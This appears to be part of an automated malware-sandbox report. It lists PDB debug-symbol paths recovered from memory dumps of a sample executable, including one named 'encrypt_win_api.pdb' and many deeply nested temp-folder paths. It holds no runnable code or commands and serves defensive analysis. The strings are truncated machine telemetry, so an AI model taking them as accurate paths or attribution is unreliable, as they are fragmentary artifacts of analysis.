Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\j source: g0Zq7nJjus.exe, 00000006.00000003.2838758007.0000000003A46000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2834371691.0000000003A52000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\e source: g0Zq7nJjus.exe, 00000006.00000003.2834806558.0000000003655000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2839161867.0000000003666000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2838401939.000000000364C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722455938.00000000036CB000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722200162.00000000036A1000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2721814195.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723410423.0000000003706000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723969148.0000000003716000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\\ source: g0Zq7nJjus.exe, 00000006.00000003.2759196325.000000000370D000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2750037773.000000000370A000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2749410376.0000000003709000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\AC\ source: g0Zq7nJjus.exe, 00000006.00000003.2655766976.000000000325B000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722713316.0000000003250000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722923546.0000000003254000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723755012.000000000325F000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722071141.0000000003248000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: g0Zq7nJjus.exe, 00000006.00000003.2854088123.0000000003B1B000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2856392263.0000000003647000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FB source: g0Zq7nJjus.exe, 00000006.00000002.2869750139.00000000037ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: g0Zq7nJjus.exe, 00000006.00000003.2849446842.0000000003A92000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2843994397.0000000003B0E000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2848619820.0000000003A92000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ory\a source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\ source: g0Zq7nJjus.exe, 00000006.00000003.2722616265.0000000003625000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003618000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: g0Zq7nJjus.exe, 00000006.00000003.2843319155.0000000003AB2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\D source: g0Zq7nJjus.exe, 00000006.00000003.2849446842.0000000003A92000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2848619820.0000000003A92000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\E5\ source: g0Zq7nJjus.exe, 00000006.00000003.2848619820.0000000003998000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2843788353.0000000003998000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: g0Zq7nJjus.exe, 00000006.00000003.2849446842.0000000003A92000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2856698269.0000000003A64000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2857353073.0000000003ABB000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2848619820.0000000003A92000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2854219217.0000000003A92000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: g0Zq7nJjus.exe, 00000006.00000003.2801554812.000000000324E000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2801753998.000000000325A000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2803215589.000000000325E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\*e source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722455938.00000000036CB000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722200162.00000000036A1000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2721814195.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723410423.0000000003706000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723969148.0000000003716000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\< source: g0Zq7nJjus.exe, 00000006.00000003.2722455938.00000000036CB000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722200162.00000000036A1000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2721814195.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723410423.0000000003706000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723969148.0000000003716000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \C:\panuhakibu\k.pdb source: g0Zq7nJjus.exe
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\Q source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722455938.00000000036CB000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722200162.00000000036A1000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2721814195.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723410423.0000000003706000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723969148.0000000003716000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\m source: g0Zq7nJjus.exe, 00000006.00000003.2838758007.0000000003A46000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2834371691.0000000003A52000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: g0Zq7nJjus.exe, 00000006.00000003.2856951875.00000000036CB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\panuhakibu\k.pdb source: g0Zq7nJjus.exe
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ing\ix?E2 source: g0Zq7nJjus.exe, 00000006.00000003.2843319155.0000000003AB2000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2843994397.0000000003ADB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: g0Zq7nJjus.exe, 00000006.00000003.2838758007.0000000003AE2000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2843319155.0000000003AB2000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2843994397.0000000003ADB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\atz source: g0Zq7nJjus.exe, 00000006.00000003.2848619820.0000000003998000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\okies\ source: g0Zq7nJjus.exe, 00000006.00000003.2856951875.00000000036CB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: g0Zq7nJjus.exe, 00000006.00000003.2750724759.00000000037CA000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2749918415.00000000037C9000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2721477658.00000000037C9000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2750489315.00000000037C9000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2750769803.00000000037E2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\6 source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722455938.00000000036CB000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2749353006.000000000372E000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722200162.00000000036A1000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2721814195.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723410423.0000000003706000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723969148.0000000003716000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\O source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723036234.000000000368A000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723714012.000000000368B000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2721814195.0000000003689000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: g0Zq7nJjus.exe, 00000006.00000003.2758894094.0000000003626000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2749711580.0000000003654000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2759379469.0000000003631000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2749493493.0000000003643000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2760228015.0000000003659000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2750301439.000000000362F000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2750660967.0000000003659000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2760146559.000000000363A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\ source: g0Zq7nJjus.exe, 00000006.00000003.2854088123.0000000003B1B000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2856511576.0000000003AEB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\E source: g0Zq7nJjus.exe, 00000006.00000003.2722163509.000000000323B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\wz>N source: g0Zq7nJjus.exe, 00000006.00000003.2655766976.000000000325B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\K source: g0Zq7nJjus.exe, 00000006.00000003.2655766976.0000000003273000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722024071.00000000032A5000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2656028554.0000000003299000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2655986231.0000000003283000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2508002940.00000000032A4000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2721983761.000000000329D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: g0Zq7nJjus.exe, 00000006.00000003.2854219217.0000000003A60000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2848619820.0000000003998000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2849446842.0000000003A59000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2849049151.00000000039D9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: g0Zq7nJjus.exe, 00000006.00000003.2838758007.0000000003AC1000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2843319155.0000000003AB2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\4iqIB source: g0Zq7nJjus.exe, 00000006.00000003.2749711580.0000000003654000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2750389105.000000000365E000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2749493493.0000000003643000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2721647058.0000000003643000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2750879369.0000000003666000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2721814195.0000000003654000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: g0Zq7nJjus.exe, 00000006.00000003.2856511576.0000000003AEB000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2858780081.0000000003B0A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb= source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\ source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722455938.00000000036CB000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722200162.00000000036A1000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2721814195.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723410423.0000000003706000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723969148.0000000003716000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\input\fr-CA\od.pdb\2y source: g0Zq7nJjus.exe, 00000006.00000003.2856951875.00000000036CB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error.cdqwh\|;@n source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.cdqwf source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\ source: g0Zq7nJjus.exe, 00000006.00000003.2758894094.0000000003626000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2759379469.0000000003631000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2750301439.000000000362F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\*$ source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ate\; source: g0Zq7nJjus.exe, 00000006.00000003.2802286920.000000000368D000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2801911133.000000000368D000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2803646845.000000000369C000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2802493728.000000000369B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\p source: g0Zq7nJjus.exe, 00000006.00000003.2802124972.0000000003A08000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2834371691.00000000039E0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: g0Zq7nJjus.exe, 00000006.00000003.2849446842.0000000003A92000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2843994397.0000000003B1E000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2848619820.0000000003A92000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\*: source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722455938.00000000036CB000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722200162.00000000036A1000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2721814195.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723410423.0000000003706000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723969148.0000000003716000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\* source: g0Zq7nJjus.exe, 00000006.00000003.2508002940.00000000032A4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\? source: g0Zq7nJjus.exe, 00000006.00000003.2802286920.000000000368D000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2801911133.000000000368D000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2803646845.000000000369C000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2802493728.000000000369B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\# source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722455938.00000000036CB000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722200162.00000000036A1000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2721814195.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723410423.0000000003706000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723969148.0000000003716000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\$ source: g0Zq7nJjus.exe, 00000006.00000003.2849446842.0000000003A92000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2848619820.0000000003A92000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2854219217.0000000003A92000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: g0Zq7nJjus.exe, g0Zq7nJjus.exe, 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000007.00000002.2132518888.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000008.00000002.3338149937.0000000000400000.00000040.00000400.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000B.00000002.2258200313.00000000025E0000.00000040.00001000.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000C.00000002.2268021627.0000000000400000.00000040.00000400.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000E.00000002.2324379535.00000000025D0000.00000040.00001000.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000F.00000002.2335331684.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\yp source: g0Zq7nJjus.exe, 00000006.00000003.2759636821.0000000003781000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2801503459.00000000037A5000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2803956141.00000000037CD000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2803151864.00000000037BE000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2758680079.0000000003766000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\| source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722455938.00000000036CB000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722200162.00000000036A1000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2721814195.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723410423.0000000003706000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723969148.0000000003716000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \user\Local Settings\Temp\Symbols\winload_prod.pdb\ source: g0Zq7nJjus.exe, 00000006.00000003.2655766976.000000000325B000.00000004.00000020.00020000.00000000.sdmp
